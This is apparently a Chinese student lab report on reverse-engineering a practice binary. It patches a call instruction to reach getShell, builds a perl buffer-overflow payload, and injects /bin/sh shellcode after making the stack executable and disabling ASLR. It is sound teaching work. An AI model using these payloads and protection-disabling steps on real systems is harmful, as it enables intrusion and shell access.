2018-2019-2 《网络对抗技术》 Exp1 PC平台逆向破解 20165215

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• 知识点描述

• 实验步骤

  • （一）直接修改程序机器指令，改变程序执行流程

  • （二）通过构造输入参数，造成BOF攻击，改变程序执行流

  • （三）注入Shellcode并执行

• 实验感想及问题回答

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【知识点描述】

1.掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码

• NOP：空指令，运行该指令时单片机什么都不做，但是会占用一个指令的时间，对应机器码为90

• JNE：条件转移指令，ZF标志位为0时跳转，对应机器码为75

• JE：条件转移指令，ZF标志位为1时跳转，对应机器码为74

• JMP：无条件跳转指令，可转到内存中任何程序段，对应机器码为eb

• CMP：比较指令，（通过两数相减的方法）比较两个数的大小，同时会更新标志寄存器，对应机器码为39

参考：汇编指令和机器码的对应表

2.掌握反汇编与十六进制编程器

• 反汇编指令：objdump -d filename 在反汇编指令后添加| more，就可以按页显示反汇编的内容

• 管道命令：| 将前者的输出作为后者的输入

• 重定向符：> 将前者输出的内容输入到后者中

• 将显示模式切换为16进制模式:%!xxd

• 转换16进制为原格式:%!xxd -r

• 十六进制编程器：perl -e

3.能正确修改机器指令改变程序执行流程

详见 （一）直接修改程序机器指令，改变程序执行流程

4.能正确构造payload进行bof攻击

详见 [ （三）注入Shellcode并执行

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【实验步骤】

• 每一模块都是在pwn1文件的拷贝文件上操作

（一）直接修改程序机器指令，改变程序执行流程

1、输入指令objdump -d pwn5215_1 反汇编pwn5215_1文件

分析：如上图所示，我们可以看到foo函数的地址为08048491，getshell函数的地址为0804847d，call 804891 <foo>指令是将调用位于地址8048491处的foo函数，该指令对应的机器码为e8 d7 ff ff ff，其中e8即跳转之意。

    d7ffffff是补码,其原码为0x29,80484ba-0x29=8048491，即foo函数所在的内存地址

    如果我们想让程序调用getShell函数，只需要修改e8 d7 ff ff ff中foo函数的地址为getShell函数的地址即可

    根据运算，8484ba-804847d=0x003d,再将0x003d转换为补码ffffffc3，可知我们须修改可执行文件，将其中的call指令的目标地址由d7ffffff变为c3ffffff

2、用vi pwn5215_1指令打开可执行文件pwn5215_1

3、按下esc键后，使用:%!xxd指令将该文件转换为十六进制显示

4、输入\d7查找需要修改的内容

5、确认位置正确后，按Enter键选定目标，使用r指令将d7修改为c3

6、输入:%!xxd -r将十六进制文件转换为原格式，输入:wq保存并退出

7、输入objdump -d pwn5215_1反汇编，确认call指令正确调用getShell函数

8、运行文件pwn5215_1

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（二）通过构造输入参数，造成BOF攻击，改变程序执行流

思路：

    可执行文件正常运行调用foo函数，而该函数存在Buffer overflow漏洞，因为在读入字符串时，系统只预留了固定字节的缓冲区，超出部分会造成溢出，而我们的目标就是将getshell函数的地址覆盖到返回地址，从而触发函数

1、打开gdb调试可执行文件，运行后输入1111111122222222333333334444444455555555，使用info r命令查看各寄存器的值

分析：此时EIP寄存器（即返回地址）的值是0x35353535，不存在该地址，故发生错误，其中5的ASCII值为35

2、为进一步确定buf分配的栈空间大小，我们将输入改为1111111122222222333333334444444412345678，重复上步操作

分析：此时EIP寄存器的值为0x34333231，对应输入中的1234，由此我们可以确定预留的缓冲区大小为32字节，因此只要输入任意32字节加上4字节getShell 的内存地址，就可以触发getShell函数

    反汇编时我们已知getShell的内存地址是0804847d，由于数据的小端方式存储，其地址应按\x7d\x84\x04\x08格式输入

3、输入perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input,再使用xxd命令查看input文件的内容是否如预期

4、利用管道符，将input1作为pwn20165215_2的输入，运行该文件

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（三）注入Shellcode并执行

原理：

分析：由于该buf的缓冲区足够大，故采用NSR溢出模式，其中nop一为是了填充，二是作为“着陆区/滑行区”，猜测的返回地址只要落在任何一个nop上，自然会滑到shellcode。所以我们构造的payload结构为共32字节的random、nop、shellcode加上4字节指向shellcode地址的retaddr。

1、准备工作

# apt-get install execstack    //安装execstack

# execstack -s pwn1    //设置堆栈可执行

# execstack -q pwn1  //查询文件的堆栈是否可执行

# echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化

# more /proc/sys/kernel/randomize_va_space  //查看地址随机化是否已经关闭

2、构造一个input_shell（参考老师给的代码）并注入运行

perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shell

3、打开另外一个终端，输入ps -ef | grep pwn5215_3获取pwn5215_3的进程号4049

4、启动gdb调试程序，用attach 4049与进程建立连接

5、设置断点查看注入buf的内存地址

分析：可以看到ret指令的地址为0x080484ae

6、使用break *0x080484ae设置断点，在另一个终端按下回车，再在gdb调试的终端输入 c 继续运行程序

7、使用info r esp查看esp寄存器地址，使用x/16x 0xffffd30c:以16进制形式查看0xffffd30c地址后面16字节的内容

分析：从上图可知，返回地址的位置是0x01020304，根据我们构造的input_shell可知，shellcode就在其后，所以shellcode地址是0xffffd310（0xffffd30c加上4字节）

8、构造input_shellcode并注入运行

perl -e 'print "A" x 32;print"\x10\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

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【实验感想及问题回答】

• 实验收获与感想

通过自己动手实现缓冲区溢出攻击，使我对缓冲区溢出的原理、函数调用时堆栈的存储结构理解地更加深入。感谢老师详细的讲解和学长学姐们的博客指导，使我本次实验进行地十分顺利，许多之前课程学过的知识点也得到了很好的巩固。

• 什么是漏洞？漏洞有什么危害

漏洞是指可能被攻击者利用、运行非正常情况下代码段的bug，漏洞可能会造成黑客入侵，非法控制计算机等问题

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